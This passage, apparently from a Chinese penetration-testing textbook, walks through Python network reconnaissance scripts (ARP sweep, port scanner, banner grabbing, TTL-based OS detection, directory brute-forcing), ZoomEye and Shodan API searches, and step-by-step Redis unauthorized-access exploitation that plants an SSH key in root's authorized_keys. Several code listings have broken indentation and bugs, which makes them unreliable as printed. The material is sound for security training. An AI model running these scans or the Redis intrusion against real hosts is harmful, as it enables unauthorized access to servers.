ipData = os.popen('ifconfig '+iface)
# 对ipData进行类型转换，再用正则进行匹配
dataLine = ipData.readlines()
# re.search利用正则匹配返回第一个成功匹配的结果，存在结果则为true
# 取MAC地址
if re.search('\w\w:\w\w:\w\w:\w\w:\w\w:\w\w',str(dataLine)):
    # 取出匹配的结果
        MAC = re.search('\w\w:\w\w:\w\w:\w\w:\w\w:\w\w',str(dataLine)).group(0)
    # 取IP地址
    if re.search(r'((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?
        \d\d?)',str(dataLine
)):
        IP = re.search(r'((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|
           [01]?\d\d?)',str(dataLine)).group(0)
    # 将IP和MAC通过元组的形式返回
    addressInfo = (IP,MAC)
return addressInfo

3）编写ARP探测函数，根据本机的IP地址和MAC地址信息，自动生成目标进行探测并把结果写入文件：

# ARP扫描函数
def ArpScan(iface='eth0'):
    # 通过HostAddres返回的元组取出MAC地址
mac = HostAddress(iface)[1]
# 取出本机IP地址
ip = HostAddress(iface)[0]
# 对本机IP地址进行分隔并作为依据元素，用于生成需要扫描的IP地址
ipSplit = ip.split('.')
# 需要扫描的IP地址列表
ipList = []
# 根据本机IP生成IP扫描范围
    for i in range(1,255):
        ipItem = ipSplit[0] + '.' + ipSplit[1] + '.' + ipSplit[2] + '.' + str(i)
        ipList.append(ipItem)
'''
    发送ARP包
    因为要用到OSI的二层和三层，所以要写成Ether/ARP。
    因为最底层用到了二层，所以要用srp()发包
'''
result=srp(Ether(src=mac,dst='FF:FF:FF:FF:FF:FF')/ARP(op=1,hwsrc=mac,hwdst=
    '00:00:00:00:00:00',pdst=ipList),iface=iface,timeout=2,verbose=False)
    # 读取result中的应答包和应答包内容
    resultAns = result[0].res
    # 存活主机列表
liveHost = []
# number 为接收到应答包的总数
    number = len(resultAns)
    print("=====================")
    print("ARP 探测结果")
    print("本机IP地址:"  + ip)
    print("本机MAC地址:" + mac)
    print("=====================")
    for x in range(number):
        IP = resultAns[x][1][1].fields['psrc']
        MAC = resultAns[x][1][1].fields['hwsrc']
        liveHost.append([IP,MAC])
        print("IP:" + IP + "\n\n" + "MAC:" + MAC  )
        print("=====================")
    # 把存活主机IP写入文件
    resultFile = open("result","w")
    for i in range(len(liveHost)):
        resultFile.write(liveHost[i][0] + "\n")

    resultFile.close()

4）编写main函数，利用optparse模块生成命令行参数化形式：

if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -i interfaces \n\n'
                               'Example: python %prog -i eth0\n')
    # 添加网卡参数 -i
parser.add_option('-i','--iface',dest='iface',default='eth0',type='string',
    help='interfaces name')
    (options, args) = parser.parse_args()
    ArpScan(options.iface)

这样我们的ARP主机发现脚本功能就完成了。脚本测试结果下所示：

查看结果文件如下所示：

提示：普通用户运行时需要进行sudo，否则会出现Operation not permitted提醒！

下面介绍通过Nmap库来实现ARP主机发现，这里需要用到Nmap的-PR参数。详细的过程此处不再赘述，读者可在4.2.1节的基础上进行修改，所需修改的代码部分如下所示：

result = nm.scan(hosts=targetIP, arguments='-PR')

ARP主机发现，测试效果如下所示：

4.2.4　端口探测

端口是设备与外界通信交流的接口。如果把服务器看作一栋房子，那么端口就是可以进出这栋房子的门。真正的房子只有一个或几个门，但是服务器可以至多有65 536个门。不同的端口（门）可以指向不同的服务（房间）。

例如，我们经常浏览网页时涉及的WWW服务用的是80号端口，上传或下载文件时的FTP服务用的是21号端口，远程桌面用的是3389号端口。

所以入侵者想要获取到房子（服务器）的控制权，势必要先从一个门进入一个房间，再通过这个房间控制整个房子。那么服务器开了几个端口，端口后面的服务是什么，这些都是十分重要的信息，可以为入侵者制定详细的入侵计划提供依据。因此在信息搜集阶段，端口开放情况的扫描就显得尤为重要。

下面将通过Python的Socket模块来编写一个简便的多线程端口扫描工具。

1）导入脚本信息以及相关的模块：

#!/usr/bin/python3
# -*- coding:utf-8 -*-

import sys
import socket
import optparse
import threading
import queue

2）编写一个端口扫描类，继承threading.Thread。这个类需要传递3个参数，分别是目标IP、端口队列、超时时间。通过这个类创建多个子线程来加快扫描进度：

# 端口扫描类，继承threading.Thread
class PortScaner(threading.Thread):
    # 需要传入端口队列、目标IP，探测超时时间
    def __init__(self, portqueue, ip, timeout=3):
        threading.Thread.__init__(self)
        self._portqueue = portqueue
        self._ip = ip
        self._timeout = timeout

    def run(self):
        while True:
            # 判断端口队列是否为空
            if self._portqueue.empty():
                # 端口队列为空，说明已经扫描完毕，跳出循环
                break
            # 从端口队列中取出端口，超时时间为1s
            port = self._portqueue.get(timeout=0.5)
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(self._timeout)
                result_code = s.connect_ex((self._ip, port))
                # sys.stdout.write("[%d]Scan\n" % port)
                # 若端口开放，则会返回0
                if result_code == 0:
                    sys.stdout.write("[%d] OPEN\n" % port)
            except Exception as e:
                print(e)
            finally:
                s.close()

3）编写一个函数，根据用户的参数来指定目标IP、端口队列的生成以及子线程的生成，同时能支持单个端口的扫描和范围端口的扫描：

def StartScan(targetip, port, threadNum):
    # 端口列表
    portList = []
    portNumb = port
    # 判断是单个端口还是范围端口
    if '-' in port:
        for i in range(int(port.split('-')[0]), int(port.split('-')[1])+1):
            portList.append(i)
    else:
        portList.append(int(port))
    # 目标IP地址
    ip = targetip
    # 线程列表
    threads = []
    # 线程数量
    threadNumber = threadNum
    # 端口队列
    portQueue = queue.Queue()
    # 生成端口，加入端口队列
    for port in portList:
        portQueue.put(port)
    for t in range(threadNumber):
        threads.append(PortScaner(portQueue, ip, timeout=3))
    # 启动线程
    for thread in threads:
        thread.start()
    # 阻塞线程
    for thread in threads:
        thread.join()

4）编写主函数来制定参数的规则：

if __name__ == '__main__':
    parser = optparse.OptionParser('Example: python %prog -i 127.0.0.1 -p
        80 \n      python %prog -i 127.0.0.1 -p 1-100\n')
    # 目标IP参数-i
    parser.add_option('-i', '--ip', dest='targetIP',default='127.0.0.1', type=
        'string',help='target IP')
    # 添加端口参数-p
    parser.add_option('-p', '--port', dest='port', default='80', type='string',
        help='scann port')
    # 线程数量参数-t
    parser.add_option('-t', '--thread', dest='threadNum', default=100, type=
        'int', help='scann thread number')
    (options, args) = parser.parse_args()
StartScan(options.targetIP, options.port, options.threadNum)

这里打开了一个CentOS7的服务器作为目标，IP地址为192.168.61.62，服务器开放了22、80、3306号端口，然后利用编写好的程序脚本对服务器进行端口扫描，扫描结果如下所示：

再对服务器进行范围端口的扫描，如下所示：

对于开放端口探测，同样也可以借助Nmap库来实现，这里需要用到Nmap的-p参数。详细的代码此处不再赘述，读者可在4.2.1节的基础上进行修改。所需修改的代码部分如下所示：

result = nm.scan(hosts=targetIP, arguments='-p'+str(targetPort))

测试效果如下：

4.2.5　服务识别

在渗透测试的过程中，服务识别是一个很重要的环节。如果能识别出目标主机的服务、版本等信息，对于渗透测试将有重要帮助。对于入侵者来说，发现这些运行在目标上的服务，就可以利用这些软件上的漏洞入侵目标；对于网络安全的维护者来说，也可以提前发现系统的漏洞，从而预防这些入侵行为。

很多扫描工具都采用了一种十分简单的方式，就是根据端口判断服务类型，因为通常常见的服务都会运行在固定的端口上（见表4-1～表4-7），例如，FTP服务总会运行在21号端口上，HTTP服务运行在80号端口上。但是利用该方式进行服务识别存在明显的缺陷，很多人会将服务运行在其他端口上，例如，将本来运行在23号端口上的Telnet运行在22号端口上，这样就会误以为这是一个SSH服务，进而增加不必要的工作量。由于很多软件在连接之后都会提供一个表明自身信息的banner，在这里我们可以根据获取的banner信息对运行的服务类型进行判断，进而可以确定开放端口对应的服务类型及版本号。

表4-1　文件共享服务端口

表4-2　远程连接服务端口

表4-3　Web应用服务端口

表4-4　数据库服务端口

表4-5　邮件服务端口

表4-6　网络常见协议端口

表4-7　特殊服务端口

因此，可以向目标开放的端口发送探针数据包，根据目标主机返回的banner信息与存储总结的banner信息进行比对，进而确定运行的服务类型。著名的Nmap扫描工具就是采用了这种方法，它包含一个十分强大的banner数据库，而且这个库仍在不断完善中。接下来按照上面介绍的思路来编写对目标服务进行扫描的程序。

1）导入程序代码所应用到的模块：time、optparse、socket和re。time模块主要用于产生延迟时间，optparse模块用于生成命行参数，socket模块用于产生TCP请求，re模块为正则表达式模块，与指纹信息进行有效匹配，进而确定服务类型。SIGNS为指纹库，用于对目标主机返回的banner信息进行匹配，读者可自行添加扩展。

#!/usr/bin/python3.7
#!coding:utf-8
from optparse import OptionParser
import time
import socket
import re

SIGNS = (
    # 协议 | 版本 | 关键字
    b'FTP|FTP|^220.*FTP',
    b'MySQL|MySQL|mysql_native_password',
    b'oracle-https|^220- ora',
    b'Telnet|Telnet|Telnet',
    b'Telnet|Telnet|^\r\n%connection closed by remote host!\x00$',
    b'VNC|VNC|^RFB',
    b'IMAP|IMAP|^\* OK.*?IMAP',
    b'POP|POP|^\+OK.*?',
    b'SMTP|SMTP|^220.*?SMTP',
    b'Kangle|Kangle|HTTP.*kangle',
    b'SMTP|SMTP|^554 SMTP',
    b'SSH|SSH|^SSH-',
    b'HTTPS|HTTPS|Location: https',
    b'HTTP|HTTP|HTTP/1.1',
    b'HTTP|HTTP|HTTP/1.0',
)

2）利用optparse模块生成命令行参数化形式，对用户输入的参数进行接收和批量处理，最后将处理后的IP地址及端口port传入request（）函数。

def main():
    parser = OptionParser("Usage:%prog -i <target host> ")   # 输出帮助信息
    parser.add_option('-i',type='string',dest='IP',help='specify target host')
        # 获取IP地址参数
    parser.add_option('-p', type='string', dest='PORT', help='specify target
        host')  # 获取IP地址参数
    options,args = parser.parse_args()
    ip = options.IP
    port = options.PORT
    print("Scan report for "+ip+"\n")
    for line in port.split(','):
        request(ip,line)
        time.sleep(0.2)
    print("\nScan finished!...\n")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("interrupted by user, killing all threads...")

3）在request（）函数中，首先调用sock.connect（）函数探测目标主机端口是否开放，如果端口开放，则利用sock.sendall（）函数将PROBE探针发送给目标端口。sock.recv（）函数用于接收返回的指纹信息，并将指纹信息及端口发送到regex（）函数。

def request(ip,port):
    response = ''
    PROBE = 'GET / HTTP/1.0\r\n\r\n'
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    result = sock.connect_ex((ip, int(port)))
    if result == 0:
        try:
            sock.sendall(PROBE.encode())
            response = sock.recv(256)
            if response:
                regex(response, port)
        except(ConnectionResetError,socket.timeout):
            pass
    else:
        pass
    sock.close()

4）利用re.search（）函数将返回的banner信息与SIGNS包含的指纹信息进行正则匹配，并将匹配到的结果输出。如果没有在SIGNS中找到相匹配的信息，则输出Unrecognized。

def regex(response, port):
    text = ""
    if re.search(b'<title>502 Bad Gateway', response):
        proto = {"Service failed to access!!"}
    for pattern in SIGNS:
        pattern = pattern.split(b'|')
        if re.search(pattern[-1], response, re.IGNORECASE):
            proto = "["+port+"]" + " open " + pattern[1].decode()
            break
        else:
            proto = "["+port+"]" + " open " + "Unrecognized"
    print(proto)

测试效果如下所示：

端口服务版本的识别实现起来也是比较困难的，目前市面上能提供相关服务的软件也非常多，而且每个软件也会出现多个版本。下面借助Nmap库来实现对主机端口服务的探测，这里还需要用到Nmap的-sV参数。详细的代码此处就不再赘述，读者可在4.2.1节的基础上进行修改，所需修改的代码部分如下所示：

(1) result = nm.scan(hosts=targetIP, arguments='-sV -p'+str(targetPort))

(2) print("[{}:{}] : [{}:{}]".format(targetPort, port_infor['state'] , port_
    infor['name'], port_infor['product']))

测试效果如下：

4.2.6　系统识别

识别出目标主机操作系统的类型和版本，可以大量减少不必要的测试成本，缩小测试范围，更精确地针对目标进行渗透测试。

但是判断目标的操作系统并非一件简单的事情。因为现在的操作系统类型繁多，仅Windows和Linux就有包含了许多衍生系统，同时，现今的防火墙、路由器、智能设备等都有其自带的操作系统，所以需要精确判断目标操作系统的类型并非易事。目前主要通过“指纹识别”的方式来对目标的操作系统来进行猜测。检测的方法一般分为两种：主动式探测和被动式探测。

（1）主动式探测：向目标主机发送一段特定的数据包，根据目标主机对数据包做出的回应进行分析，判断目标主机中可能的操作系统类型。与被动式探测相比，主动式获取的结果更加精确，但也容易触发目标安全系统的警报。

（2）被动式探测：通过工具嗅探、记录、分析数据包流。根据数据包信息来分析目标主机的操作系统。与主动式探测相比，被动式探测的结果虽然不如主动式探测精确，但是不容易被目标主机安全系统察觉。

主机识别的技术原理：Windows操作系统与Linux操作系统的TCP/IP实现方式并不相同，导致两种系统对特定格式的数据包会有不同的响应结果，包括响应数据包的内容、响应时间等，形成了操作系统的指纹。通常情况下，可在对目标主机进行ping操作后，依据其返回的TTL值对系统类型进行判断，Windows系统的TTL起始值为128，Linux系统的TTL起始值为64，且每经过一跳路由，TTL值减1。

Windows的TTL返回值如下：

Linux的TTL返回值如下：

根据按照目标主机返回的响应数据包中的TTL值来判断操作系统类型的原理，可编写Python程序实现自动化，详细过程如下所示。

1）导入程序代码所应用的模块：optparse、os和re。optparse用于生成命行参数；os用于执行系统命令；re为正则表达式模块，用于匹配返回的TTL值。

#!/usr/bin/python3.7
#!coding:utf-8
from optparse import OptionParser
import os
import re

2）利用optparse模块生成命令行参数化形式，对用户输入的参数进行接收和批量处理，最后将处理后的IP地址传入ttl_scan（）函数。

def main():
    parser = OptionParser("Usage:%prog -i <target host> ")   # 输出帮助信息
    parser.add_option('-i',type='string',dest='IP',help='specify target host')
        # 获取IP地址参数
    options,args = parser.parse_args()
    ip = options.IP
    ttl_scan(ip)

if __name__ == "__main__":
    main()

3）调用os.popen（）函数执行ping命令，并将返回的结果通过正则表达式识别，提取出TTL值。当TTL值小于等于64时，操作系统为Linux类型，输出“xx.xx.xx.xx is Linux/UNIX”，否则输出“xx.xx.xx.xx is Windows”。

def ttl_scan(ip):
    ttlstrmatch = re.compile(r'ttl=\d+')
    ttlnummatch = re.compile(r'\d+')
    result = os.popen("ping -c 1 "+ip)
    res = result.read()
    for line in res.splitlines():
        result = ttlstrmatch.findall(line)
        if result:
            ttl = ttlnummatch.findall(result[0])
            if int(ttl[0]) <= 64:  # 判断目标主机响应包中TTL值是否小于等于64
                print("%s  is Linux/UNIX"%ip)  # TTL≤64时为Linux/UNIX系统
            else:
                print("%s is Windows"%ip)      # 反之为Windows系统
        else:
            pass

运行结果如下：

当然，这里也可以借助Nmap库来实现操作系统类型识别的功能，通过Nmap的-O参数对目标主机操作进行系统识别，代码如下所示：

result = nm.scan(hosts=targetIP, arguments='-O')

借助Nmap库我们可以很轻松地完成一个主动式系统探测工具，而且其判断的结果在实际运用中也非常具有参考价值。

运行结果如下：

4.2.7　敏感目录探测

资源发现属于信息搜集的一部分，善于发现隐藏的信息，如隐藏目录、隐藏文件等，可提高渗透测试的全面细致性。本节将用Python实现敏感目录发现。在渗透测试过程中，资源发现是极其重要的一环。具备好的资源发现能力能够令整个工作事半功倍。

在渗透测试过程中进行目录扫描是很有必要的，例如，当发现开发过程中未关闭或忘记关闭的页面，可能就会发现许多可以利用的信息。下面我们编写一个基于字典的目录扫描脚本。

1）要进行网页目录扫描，需要进行网页访问，所以先导入requests模块备用，然后等待用户输入url和字典：

import requests
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0"
}
url = input("url: ")
txt = input('php.txt')

2）当用户没有输入字典时，默认打开根目录的php.txt，然后将字典中的内容放进队列中：

url_list = []
if txt == "":
    txt = "php.txt"
try:
    with open(txt,'r') as f:
        for a in f:
            a = a.replace('\n','')
            url_list.append(a)
        f.close()
except:
    print("error！")

3）将队列中的内容拼接到url中组成需要验证的地址，通过返回值判断是否存在此目录：

for li in url_list:
    conn = "http://" + url +"/"+ li

    try:
         response = requests.get(conn,headers = headers)
         print("%s-------------%s" % (conn, response))
    except e:
        print('%s-------------%s' %(conn, e.code))

至此，一个简单的目录扫描脚本就完成了。运行效果如下所示：

4.3　网络空间搜索引擎

随着互联网、物联网、传感网、社交网络等信息系统所构成的泛在网络不断发展，网络终端设备数量呈指数级上升。这为企业进行终端设备资产清点和统一管控带来了巨大挑战，同时也引发了一系列安全问题，网络攻击与防御的博弈从单边代码漏洞发展到了大数据对抗阶段，网络空间搜索引擎应运而生。

搜索引擎是指从互联网搜集信息，经过一定整理以后，提供给用户进行查询的系统。传统搜索引擎对我们来说并不陌生，像Google、百度等，每天我们几乎都会用它们来搜索消息。与传统搜索引擎相比，网络空间搜索引擎有很大不同，其搜索目标为全球的IP地址，实时扫描互联网和解析各种设备，对网络中的设备进行探测识别和指纹分析，并将其扫描的目标信息进行分布式存储，供需求者检索使用。传统的网络空间搜索模型框架一般由五部分组成：扫描和指纹识别、分布存储、索引、UI界面以及调度程序，如图4-6所示。

图4-6　网络空间搜索模型框架

网络空间搜索引擎的用途有很多。对于安全研究者来说，能够帮助安全研究人员针对APT组织、攻击方式等情况进行分析；对于公司安全管理人员，能够帮助他们进行网络资产匹配、安全评估等；对于安全白帽子，能够帮助渗透测试人员在与目标非交互的情况下搜集信息，例如，搜索资产、系统类型，开放端口等。

4.3.1　常见搜索引擎平台

目前的网络空间搜索引擎平台比较多，各具特色，均可通过用户指定的关键词来搜索网络中的设备或者设备信息。常见的网络空间搜索引擎有Shodan、Censys、ZoomEye、Fofa、PunkSPIDER、IVRE（Drunk）和傻蛋等，接下来将详细介绍ZoomEye和Shodan两款搜索引擎。

ZoomEye，又称为“钟馗之眼”，是国内安全厂商知道创宇倾力打造的知名空间搜索引擎，它可以识别网络中的站点组件指纹和主机设备指纹。相较于Shodan，它更侧重于Web资产发现，而Shodan偏向于主机层面。该搜索引擎可以搜索出三十多万条吻合度较高的数据，与此同时，ZoomEye具备全球4100万个网站的网站组件指纹库，极大地提高了搜集效率和准确度。ZoomEye的搜索界面简约，易上手，高级搜索功能非常实用，用户体验不错，“海盗榜计划”可以区分出不用权限的用户，提高用户的互动性。目前的ZoomEye针对普通用户是免费，但是某些模块和数据需要收费，如图4-7所示为ZoomEye搜索引擎界面。

Shodan是全球开放最早的网络空间搜索引擎，也是目前全球最为知名的搜索引擎。Shodan每月中会在全球5亿左右的设备上进行信息搜集，主要针对服务器、网络设备、摄像设备、工控设备等基础设备进行扫描。Shodan为用户提供了11种代码库，便于使用API接口，其中部分浏览器中集成了带有Shodan搜索功能的插件。使用Shodan需要注册账号，同时可以缴费注册成会员，企业版和高级企业版是收费的。Shodan还提供了Scanhub、Images、3D效果展示、CLI、蜜罐判断等实用性较强的功能，如图4-8所示为Shodan搜索引擎界面。

图4-7　ZoomEye搜索引擎

图4-8　Shodan搜索引擎

4.3.2　搜索引擎语法

下面就以ZoomEye和Shodan两大网络空间搜索引擎为例，对搜索引擎的使用进行简单介绍。

ZoomEye支持公网设备指纹检索和Web指纹检索。Web指纹识别包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据库等。设备指纹识别包括应用名、版本、开放端口、操作系统、服务名、地理位置等，直接输入关键词即可开始检索。下面列举了ZoomEye的常见搜索语法，表4-8所示为设备指纹检索语法，表4-9所示为Web指纹检索语法。

表4-8　设备指纹检索语法

表4-9　Web指纹检索语法

为了能够更好地解释ZoomEye设备指纹搜索语法，下面列举了搜索设备指纹的使用示例，比如想查询在美国纽约市的Linux系统，且系统中运行组件为Apache的服务器，我们可以构造如下的搜索语法：

app:"Apache httpd" +os:"linux" +country:US +city:"New York City"

搜索结果如图4-9所示。

图4-9　ZoomEye搜索结果

接下来列举了Web指纹检索的使用示例，比如想查询美国纽约地区使用Linux系统的网站，可以构造如下的搜索语法：

site:google.com +os:linux +country:US +city:"New York City"

搜索结果如图4-10所示。

图4-10　Web指纹检索示例

Shodan主要获取互联网中设备中的服务、位置、端口、版本等信息，目前比较受欢迎的内容有webcam、linksys、cisco、netgear、SCADA等。通过不同的搜索语法可以做到批量搜索漏洞主机、统计中病毒主机、进行弱口令爆破、获取shell等功能。表4-10中整理了常用的搜索语法。

表4-10　Shodan常用语法

表4-10中整理的Shodan语法只是其中一部分，这些语法可以结合在一起使用来提高搜索结果的准确度，例如city："beijing"port：80 os："windows"。更多的参数大家可以参考官方手册（见公众号链接4-1）。

4.3.3　搜索引擎API的使用

1.ZoomEye

ZoomEye除了以上介绍的智能检索功能以外，还提供了强大的Restful API功能，用户通过它能够更好地与平台连接，调用平台提供的各类资源。接下来将带领大家通过Python程序调用ZoomEye的API接口实现自动化信息搜集。ZoomEye平台主要使用的是Json Web Token的登录验证方式，用户进行登录，并获取access_token就可以直接调用API功能。方法如下：

方法1　通过curl命令直接获取access_token。在Linux系统终端执行如下命令，其中username为注册的邮箱或手机号，password为登录密码：

curl -X POST https://api.zoomeye.org/user/login -d '{ "username":"20*****
        989@qq.com", "password":"123*******wxz"}'

运行结果如下所示：

{"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6IjIw
    NzI2MjI5ODlAcXEuY29t*********************TM1OTE2NzgsImV4cCI6MTU5MzYzNDg
    3OH0.3Ync_i7QBTVgtAOMkkZSGWz5Y__zps_1s3fVM-eMm6Y"}

方法2　通过Python脚本获取access_token。通过构造post请求的方式，将用户名和密码以json的格式发送到ZoomEye的后端，打印出响应数据包，代码如下所示：

#!/usr/bin/python
#coding:utf-8
import requests
import json

def main():
username = input("username:")
password = input("password:")
url = "https://api.zoomeye.org/user/login"
data = json.dumps({'username': username, 'password': password})
access_key = requests.post(url=url,data=data,verify=False)
print(access_key.text)

if __name__ == "__main__":
main()

执行效果如图4-11所示。

图4-11　打印响应数据包

接下来，可以利用获取到的access_token检索我们需要的信息，这里将通过案例进行演示说明，关于ZoomEye API详细的字段说明，大家可参考官方指导手册（https://www.zoomeye.org/doc）。

案例1　使用host方法，查询开放6379端口的服务器IP地址，并打印出检索到的IP地址和端口号，详细代码如下所示：

#coding:utf-8
import requests
from bs4 import BeautifulSoup
import json
import re

def main():
headers = {
"Authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6
    IjIwNzI2MjI5ODlAcXEuY***********************************0MzYsImV4cCI6MT
    U5MzYzNTYzNn0.4EkTH3vh3JSjBJ_wEfnaMhQWuPSaIzQypBAKpfUSuZ0"
}
url = "https://api.zoomeye.org/host/search?query=port:6379&page=1&facet=
    app,os"
info = requests.get(url=url,headers=headers)
r_decoded = json.loads(info.text)
for line in r_decoded['matches']:
print(line['ip']+': '+str(line['portinfo']['port']))

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("interrupted by user, killing all threads...")

输出结果如下：

2.Shodan

使用Python去调用Shodan的API接口可以实现自动化信息搜集，首先需要注册用户，在My Account中可以看到API Key。

初始化API：

import shodan
SHODAN_API_KEY='Hg4t6PpPMvz4mgQhS**********KkCZLXh'
shodan_api=shodan.Shodan(SHODAN_API_KEY)

初始化API之后就可以使用Shodan的库函数，下面整理一些函数。可以参考Shodan官方给出的API文档（https://developer.shodan.io/api）。

·shodan_api.count（query，facets=None）：查询结果数量。

·shodan_api.host（ip，history=False）：获取一个IP的详细信息。

·shodan_api.ports（）：获取Shodan可查询的端口号。

·shodan_api.protocols（）：获取Shodan可查询的协议。

·shodan_api.services（）：获取Shodan可查询的服务。

·shodan_api.scan（ips，force=False）：使用Shodan进行扫描，ips可以为字符或字典类型。

案例2　使用host方法获取指定IP的相关信息，代码如下：

import shodan
import json
SHODAN_API_KEY='Hg4t6P###########4U9zKkCZLXh'
shodan_api=shodan.Shodan(SHODAN_API_KEY)

ip=shodan_api.host('8.8.8.8')
print(json.dumps(ip))

运行结果如下所示：

{"region_code": null, "ip": 134744072, "postal_code": null, "country_code":
    "US", ……"ip_str": "8.8.8.8", "os": null, "ports": [53]}

案例3　搜索JAWS摄像头，将IP和端口打印出来，代码如下：

import shodan
import json
SHODAN_API_KEY='Hg4t6PpP##########4U9zKkCZLXh'
shodan_api=shodan.Shodan(SHODAN_API_KEY)

results=shodan_api.search('JAWS/1.0')
print("Results found:%s"%results['total'])
for result in results['matches']:
print(result['ip_str']+":"+str(result['port']))

运行结果如下：

以上内容主要介绍了网络空间搜索引擎的基本概念，对Zoomeye和Shodan两款搜索引擎的特点和常用语法进行详细的说明，让读者在对国内外的搜索引擎有一定了解的同时可以熟悉Zoomeye和Shodan的搜索语法。最后结合Python和搜索引擎API进行自动化信息搜集，笔者通过简单的示例介绍了Zoomeye和Shodan的API使用方法，希望读者多去实践，能够在工作中运用搜索引擎提高信息搜集的效率和质量。

4.4　小结

信息搜集过程贯穿整个渗透测试流程，当渗透遇到瓶颈时，可以考虑是否存在其他没有发现的有利用价值的资源和信息，比如隐藏文件中的内容、JavaScript源码中可能存在的有用信息等。内网信息搜集的门路及方法众多，要挑选适合目标的方法进行搜集，不同的目标所采取的方法也不相同。域内的信息搜集会更加复杂。正确搜集信息对渗透测试有着事半功倍的效果。使用到的脚本、软件也多种多样。

第5章
漏洞检测与防御

在前面的章节中我们学习了如何通过Python脚本对目标进行信息搜集，但是在搜集到信息之后，又该如何使用这些信息呢？本章将介绍如何编写一套简单的Python测试工具。当然，此类脚本网上有很多，但是在渗透测试过程中，由于测试环境不同，检测方式也多种多样。因此，我们有必要学会编写一个自己的测试工具。相信大家在学完本章后能够开发出自己想要的工具。本章主要介绍以下内容：

·Redis未授权访问检测。

·外部实体注入漏洞检测与防御。

·SQL注入漏洞检测。

·服务端请求伪造漏洞检测。

·网络代理的使用。

5.1　未授权访问漏洞

未授权访问漏洞可以理解为安全配置、权限认证、授权页面存在缺陷，导致其他用户可以直接访问，从而引发权限可被操作，数据库、网站目录等敏感信息泄露。目前存在未授权访问漏洞的服务主要包括：NFS、Samba、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等，使用时要注意。下面以Redis未授权访问漏洞为例进行详细介绍。

5.1.1　Redis未授权访问漏洞

Redis是一种使用ANSIC语言编写的开源Key-Value型数据库。与Memcache相似，支持存储的value类型有很多种，其中包括String（字符串）、List（链表）、Set（集合）、Zset（有序集合）、Hash（哈希）等。同时，Redis还支持不同的排序方式。Redis为了保证效率，将数据缓存在内存中，周期性地把更新的数据写入磁盘或者把修改操作写入追加的记录文件中，在此基础上实现了master-slave（主从）同步。

对Redis配置不当将会导致未授权访问漏洞，从而被攻击者恶意利用。在特定条件下，如果Redis以root身份运行，攻击者可以用root权限的身份写入SSH公钥文件，通过SSH登录目标服务器，进而导致服务器权限被获取、泄露或发生加密勒索事件，为正常服务带来严重危害。通常，服务器上的Redis绑定在0.0.0.0：6379，如果没有开启认证功能，且没有采用相关的安全策略，比如添加防火墙规则避免其他非信任来源IP访问等，将会导致Redis服务直接暴露在公网上，造成其他用户直接在非授权情况下访问Redis服务。

通过手工进行未授权访问验证，在安装Redis服务的Kali系统中输入redis-cli-h IP，如果目标系统存在未授权访问漏洞，则可以成功进行连接。输入info命令，可以查看Redis服务的版本号、配置文件目录、进程ID号等，如下所示：

5.1.2　漏洞利用

当与远程Redis建立好连接后，通过Redis指令就能查询所需要的敏感信息。下面就Redis一些常用指令进行简单介绍：

·查看key和其对应的值：keys*。

·获取用户名：get user。

·获取登录指令：get password。

·删除所有数据：flushall。

示例如下所示：

下面介绍通过Redis未授权访问漏洞获取目标权限的常规利用方式。其基本工作原理为，修改数据库的默认路径为/root/.ssh，默认的缓存文件为authorized.keys，将目标主机缓存的公钥作为value保存在authorized.keys文件中，这样就在服务器端/root/.ssh下生成了一个授权的key。具体步骤如下。

1）在本地主机生成密钥key的命令如下：

>>> ssh-keygen -t rsa

运行结果如下所示：

2）在目录/root/.ssh下查看生成结果，并将公钥导入txt文件中，命令如下：

>>> cd /root/.ssh
>>> ls
>>> (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
>>> cat /root/key.txt

运行结果导出密钥，如下所示：

3）将txt文件中的公钥导入Redis缓存中，命令如下：

>>> cat /root/key.txt | redis-cli -h xx.xx.xx.xx

将运行结果导入Redis缓存，如下所示：

4）连接到目标主机，更改配置文件路径为/root/.ssh，设定文件名称为authorized-keys，代码如下：

>>> redis-cli -h xx.xx.xx.xx
>>> config set dir /root/.ssh
>>> Config set dbfilename authorized_keys
>>>save

运行结果更改配置文件，如下所示：

5）通过SSH协议连接到远程目标主机，命令如下：

>>> ssh xx.xx.xx.xx

运行结果连接到目标主机，如下所示：

5.1.3　检测方法

本节介绍如何通过Python脚本批量检测Redis未授权访问漏洞。相信大家通过本节的学习，将能够利用该方式编写出其他已知的未授权访问漏洞检测脚本。当然，也可以自己独立开发出能够检测多种未授权访问或弱口令的集成检测工具。下面将带领大家开始一步一步完成Redis未授权访问检测脚本的编写。

1）编写程序的起始部分，该部分类似于C语言的main（）函数。当执行过程中没有发生异常时，执行定义的start（）函数。通过sys.argv[]实现对外部指令的接收。其中，sys.argv[0]表示代码本身的文件路径，sys.argv[1：]表示从第一个命令行参数到输入的最后一个命令行参数，存储形式为List类型：

if __name__ == '__main__':
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print("interrupted by user, killing all threads...")

2）编写命令行参数处理功能。此处主要应用getopt.getopt（）函数处理命令行参数，该函数目前有短选项和长选项两种格式。短选项格式为“-”加上单个字母选项；长选项格式为“--”加上一个单词选项。opts为一个两元组列表，每个元素为（选项串，附加参数）。如果没有附加参数则为空串。之后通过for循环输出opts列表中的数值并赋值给自定义的变量：

def start(argv):
    dict = {}
    url = ""
    type = ""
    if len(sys.argv) < 2:
        print("-h 帮助信息;\n")
        sys.exit()
    # 定义异常处理
    try:
        banner()
        opts,args = getopt.getopt(argv,"-u:-p:-s:-h")
    except getopt.GetoptError:
